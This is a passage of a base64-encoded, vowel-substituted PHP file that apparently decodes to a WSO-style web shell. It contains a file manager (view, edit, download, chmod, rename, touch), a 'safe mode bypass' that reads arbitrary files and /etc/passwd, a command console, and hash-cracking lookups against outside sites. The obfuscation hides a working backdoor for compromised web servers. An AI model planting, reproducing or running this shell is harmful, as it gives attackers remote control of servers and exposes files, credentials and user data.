sNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCgk1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggdDV4dCA0biBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KCQkJPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9mMnJtPiI7DQoNCglmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQoJCTRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCgkJCSRwMXRoLj0nLyc7DQoJCSRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQk0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KCQkJZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCgkJCQk0ZihANHNfZDRyKCQ0dDVtKSl7DQoJCQkJCTRmKCRwMXRoIT0kNHQ1bSkNCgkJCQkJCXdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCgkJCQkJCTVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2suYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lmgxc2hjcjFjay5jMm0vNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtNGx3MHJtLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaWQ1Y3J5cHQ1ci5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQk8L2Yycm0+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQoJCTVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQoJCXdzMkYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCgk1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCgk0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQoJCSRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCgk0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCgkJJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdyNW4xbTUnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCTRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCgkJCQk1bHM1DQoJCQkJCWQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICd0MjNjaCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCgkJCQk0ZigkdDRtNSkgew0KCQkJCQk0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCgkJCQkJCTVjaDIgJ0YxNGwhJzsNCgkJCQkJNWxzNQ0KCQkJCQkJNWNoMiAnVDIzY2g1ZCEnOw0KCQkJCX0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQoJJHQ1bXA9Jyc7DQoJMmJfc3QxcnQoKTsNCglzdzR0Y2goJF9QT1NUWydwNiddKSB7DQoJCWMxczUgNjoNCgkJCSR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCgkJCTRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQoJCQkJNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KCQkJCTNubDRuaygkdDVtcCk7DQoJCQl9IDVsczUNCgkJCQk1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCgkJCWJyNTFrOw0KCQljMXM1IGE6DQoJCQkkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KCQkJNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KCQkJCWYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQoJCQkJCTVjaDIgJGY0bDVuMW01LiJcbiI7DQoJCQlicjUxazsNCgkJYzFzNSBvOg0KCQkJJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KCQkJYzNybF81eDVjKCRjaCk7DQoJCQlicjUxazsNCgkJYzFzNSB1Og0KCQkJNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KCQkJNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KCQkJNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KCQkJYnI1MWs7DQoJCWMxczUgaToNCgkJCWYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KCQkJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCgkJCQk0ZiAoJDM0ZCkNCgkJCQkJNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KCQkJfQ0KCQkJYnI1MWs7DQoJfQ0KCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3M8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgk0ZigkdDVtcCkNCgkJNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQoJNGYoN